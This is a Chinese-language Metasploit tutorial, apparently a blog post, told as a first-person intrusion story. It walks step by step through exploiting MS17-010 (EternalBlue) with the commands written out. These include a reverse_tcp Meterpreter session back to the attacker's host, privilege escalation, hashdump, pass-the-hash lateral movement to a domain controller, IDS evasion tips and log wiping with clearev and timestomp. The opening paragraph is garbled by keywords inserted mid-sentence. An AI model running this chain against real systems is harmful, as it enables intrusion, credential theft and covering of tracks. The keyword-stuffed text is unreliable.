metasploit渗透教程：从扫描到拿shell的渗透实战记录

凌晨两点，我盯着屏幕上的教程Nessus报告，目标服务器的渗透445端口敞开着。MS17-010，教程永恒之蓝。渗透这个漏洞让WannaCry一夜之间瘫痪了全球数十万台电脑，教程而我现在要做的渗透，是教程比勒索软件更早一步进入系统。Metasploit就在那里，渗透等着我敲下那行命令。教程

先把话说清楚：Metasploit不是渗透黑客电影里的魔法棒，它更像一把瑞士军刀。教程你不需要背下所有模块，渗透但必须理解它的教程工作流——扫描、选漏洞、渗透配置payload、执行、后渗透。这套流程走顺了，你自然就明白为什么它被称为“渗透测试的瑞士军刀”。

启动MSF是第一步。终端里敲msfconsole，几秒钟后你会看到那个经典的banner，一只戴着墨镜的蝙蝠。别被它唬住，这只是个提示符。真正干活的是search命令。比如我想找MS17-010的利用模块，直接输入search ms17-010，它会列出所有相关模块——包括扫描器和利用器。注意看模块路径，exploit/windows/smb/ms17_010_eternalblue是主攻击模块，而auxiliary/scanner/smb/smb_ms17_010是漏洞检测器。

检测器先跑。把目标IP填进去：use auxiliary/scanner/smb/smb_ms17_010，然后set RHOSTS 192.168.1.105。执行run，几秒后如果返回“VULNERABLE”字样，恭喜，这台机器确认中招。但别急着高兴——扫描器只告诉你漏洞存在，真正拿到shell还需要利用模块。

切换到利用模块：use exploit/windows/smb/ms17_010_eternalblue。这里有个关键点，payload的选择决定你能获得什么权限。作为新手，先用set payload windows/x64/meterpreter/reverse_tcp。这个payload会返回一个Meterpreter会话——那是Metasploit最强大的交互式shell，能让你执行命令、上传下载文件、提权、抓取密码哈希，甚至开启摄像头。

配置参数是门学问。除了RHOSTS，还要设置LHOST和LPORT——这是你的攻击机IP和监听端口。比如set LHOST 192.168.1.100，set LPORT 4444。注意，端口别用默认的4444，很多IDS会盯上它。我习惯随机挑个高位端口，比如56789。设置完exploit，屏幕会开始滚动一堆输出，最后停在“meterpreter >”提示符上。那一刻，你已经在目标机器里了。

但拿到shell只是开始。Meterpreter里敲sysinfo看系统版本，getuid看当前用户——如果是SYSTEM权限，直接欢呼；如果是普通用户，就得想提权办法。这时用bg把会话挂到后台，然后搜索提权模块：search local_exploit_suggester。这个模块会自动检测可用提权路径，省去你手动翻漏洞库的时间。选一个合适的模块，set SESSION 1，执行，等它返回SYSTEM shell。

后渗透里最实用的命令是hashdump——直接导出SAM数据库里的密码哈希。拿到哈希后，你可以用hashcat离线破解，或者干脆用psexec模块做哈希传递攻击，直接登录其他机器。有一次测试，我靠这个从一台Windows 7跳到了域控，整个过程不到十分钟。那感觉就像开锁匠发现所有门都用同一把钥匙。

别忘了清理痕迹。clearev命令能清空事件日志，timestomp可以修改文件时间戳。但记住，渗透测试的目的是发现漏洞，不是破坏。你每执行一次攻击，都应该记录在案，最后写进报告里。

Metasploit还有一堆花活：auxiliary/scanner/ssh/ssh_login可以做SSH弱口令爆破，exploit/multi/script/web_delivery能通过浏览器触发payload。但万变不离其宗——理解协议，选对模块，调好参数。这工具用久了你会发现，真正难的从来不是敲命令，而是判断哪条路最可能通向目标。

凌晨三点半，我已经在目标系统里游荡了半小时。Meterpreter的shell命令让我掉进一个真正的cmd窗口，屏幕上跳动着“C:\Windows\System32>”。那一刻我意识到，Metasploit教会你的不只是攻击技巧，更是对系统脆弱性的敬畏。每台机器都像一扇没锁好的门，而MSF就是那串万能钥匙——但钥匙本身不会思考，用它的手，才决定结果是攻破还是修补。